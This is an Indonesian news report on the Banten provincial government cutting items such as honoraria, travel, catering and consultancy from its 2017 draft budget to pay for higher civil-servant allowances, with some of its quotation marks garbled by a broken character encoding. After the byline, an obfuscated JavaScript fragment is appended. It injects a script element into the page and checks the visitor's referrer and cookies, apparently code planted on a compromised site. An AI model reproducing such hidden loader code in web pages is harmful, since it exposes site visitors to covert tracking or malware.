Serang a�� Pemerintah Provinsi Banten memutuskan untuk memangkas beberapa pos anggaran pada Rancangan Anggaran Pendapatan dan Belanja Daerah 2017. Kepala Dinas Pendapatan dan Pengelolaan Keuangan Daerah (DPPKD) Banten Nandi S Mulya mengatakan, penyusunan APBD 2017 yang sudah masuk tahap pembahasan Rancangan Kebijakan Umum Prioritas dan Plafon Anggaran Sementara (KUA PPAS) berbeda dari tahun-tahun sebelumnya.
a�?Penyusunan APBD 2017 disertai kebijakan-kebijakan lokal yang lebih efektif dan efisien. Ini harus menjadi perhatian serius dalam upaya mengedepankan prinsip-prinsip anggaran yang transparan, akuntabel, disiplin, berkeadilan, efektif, dan efisien,a�? ujar Nandy, Kamis, 11 Agustus 2016.
Kebijakan tersebut antara lain meliputi, peningkatan tarif tambahan penghasilan pegawai negeri sipil (TPPNS). Namun, konsekuensinya ada honorarium dan kegiatan yang dihilangkan atau dikurangi. a�?Belanja-belanja yang lain harus disesuaikan yaitu menghilangkan honorarium tim internal, mengurangi frekuensi honorarium tim terkoordinasi dan mengurangi alokasi insentif pajak daerah,a�? katanya.
Selain itu, kata Nandy, konsekuensi dari peningkatan TPPNS tersebut mengurangi alokasi belanja perjalanan dinas, belanja sewa, belanja makanan dan minuman belanja jasa konsultasi/tenaga ahli, belanja ATK, belanja kursus dan uang saku.
Sekretaris DPPKD Banten, Heri Suheri mengatakan,A� pedoman kebijakan lokal terkait penyusunana anggaran APBD Banten 2017 diharapkan dapat dipahami oleh seluruh pegawai di lingkungan Provinsi Banten. a�?Pemprov Banten memperketat proses penyusunan program dan memperbaiki mekanisme penyusunan anggaran daerah. Tetapi tetap dilakukan secara tertib dan sesuai aturan,a�? katanya. (Nasir/Rmd) 0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}













